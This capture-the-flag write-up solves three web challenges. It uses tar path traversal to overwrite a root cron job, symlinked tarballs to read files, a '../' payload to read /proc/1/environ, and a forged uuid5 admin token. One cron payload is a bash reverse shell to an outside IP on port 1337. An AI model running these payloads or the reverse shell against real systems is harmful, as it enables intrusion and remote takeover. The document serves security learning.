Table of contents
File Sharing Portal
The attached Dockerfile gives this paragraph
# Add the cron job to the crontab
RUN mkdir /etc/cron.custom
RUN echo "*/5 * * * * root rm -rf /app/uploads/*" > /etc/cron.custom/cleanup-cron
RUN echo "* * * * * root cd / && run-parts --report /etc/cron.custom" | tee -a /etc/crontab
# Give execution rights on the cron job
RUN chmod +x /etc/cron.custom/cleanup-cron
RUN crontab /etc/cron.custom/cleanup-cron
RUN crontab /etc/crontab
- Create a directory :
/etc/cron.custom
for storing custom cron tasks. - Define a cleanup task
/app/uploads/
: clean up the files in the directory every 5 minutes and write them to/etc/cron.custom/cleanup-cron
the file. - Register in crontab :
/etc/cron.custom
Run the tasks in the directory once every minute, andrun-parts
all scripts in the directory will be executed. - Grant execution permission : Give execution permission to the cron script.
- Install to crontab :
crontab
Install the task to the system through command.
Then we can overwrite /etc/cron.custom/cleanup-cron with a malicious file
Note that the flag is under /app
COPY REDACTED.txt /app/
# The flag file is redacted on purpose
There is a directory traversal vulnerability in the source code of the topic
tar_file.extractall()
: The method for decompressing .tar
a file extractall()
does not specify any security checks, so if .tar
the file contains a specially constructed file path (such as ../../
), an attacker can decompress the file to an arbitrary directory and even overwrite sensitive files on the system.
First use the path to traverse the overwrite /etc/cron.custom/cleanup-cron
Method 1:
cronjob.txt
#!/bin/bash
ls /app/ > /app/ls.txt
Give 777 permissions again
chmod 777 cronjob.txt
Generate a malicious tar file and upload it
import tarfile
import os
# Overwrite the cronjob
with tarfile.open('write.tar', 'w') as tar:
tar.add('cronjob.txt', arcname='../../../etc/cron.custom/cleanup-cron')
Then use the soft link to read /app/ls.txt
ln -s /app/ls.txt dummy.txt
Generate tarball and upload
import tarfile
def create_tar_with_symlinks(tar_path, path):
with tarfile.open(tar_path, 'w') as tar:
tar.add(path, arcname=path)
create_tar_with_symlinks('read_ls_txt.tar', 'dummy.txt') # Read dummy.txt to read the `ls.txt`
Read dummy.txt to get the flag file name
/app/flag_15b726a24e04cc6413cb15b9d91e548948dac073b85c33f82495b10e9efe2c6e.txt
rm dummy.txt
ln -s /app/flag_15b726a24e04cc6413cb15b9d91e548948dac073b85c33f82495b10e9efe2c6e.txt dummy.txt
import tarfile
def create_tar_with_symlinks(tar_path, path):
with tarfile.open(tar_path, 'w') as tar:
tar.add(path, arcname=path)
create_tar_with_symlinks('read_flag.tar', 'dummy.txt') # Read dummy.txt to read the flag!
Similarly, upload the generated tar file and read dummy.txt to get the flag.
Method 2:
cronjob.txt directly writes rebound shell
#!/bin/bash
bash -c "bash -i >& /dev/tcp/124.222.136.33/1337 0>&1"
Generate a malicious tarball and upload it
import tarfile
import os
# Overwrite the cronjob
with tarfile.open('rev.tar', 'w') as tar:
tar.add('cronjob.txt', arcname='../../../etc/cron.custom/cleanup-cron')
Successfully rebound shell
Look through the catalog and get the flag
Focus-on-yourSELF
Click View to display a picture
Note that the URL contains a dot
Try directory traversal
payload:
/view?image=../../../../../../../../../proc/1/environ
Base64 decoding to get the flag
Passwordless
Source code
#!/usr/bin/env python3
from flask import Flask, request, redirect, render_template, render_template_string
import subprocess
import urllib
import uuid
global leet
app = Flask(__name__)
flag = open('/flag.txt').read()
leet=uuid.UUID('13371337-1337-1337-1337-133713371337')
@app.route('/',methods=['GET','POST'])
def main():
global username
if request.method == 'GET':
return render_template('index.html')
elif request.method == 'POST':
username = request.values['username']
if username == 'admin123':
return 'Stop trying to act like you are the admin!'
uid = uuid.uuid5(leet,username) # super secure!
return redirect(f'/{uid}')
@app.route('/<uid>')
def user_page(uid):
if uid != str(uuid.uuid5(leet,'admin123')):
return f'Welcome! No flag for you :('
else:
return flag
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337)
Just generate the uuid of admin123 in the given namespace yourself
import uuid
# 定义固定的命名空间 UUID
leet = uuid.UUID('13371337-1337-1337-1337-133713371337')
# 生成 uuid5 值
uid = uuid.uuid5(leet, 'admin123')
# 输出结果
print(uid)
#3c68e6cc-15a7-59d4-823c-e7563bbb326c
Visit ./3c68e6cc-15a7-59d4-823c-e7563bbb326c to get the flag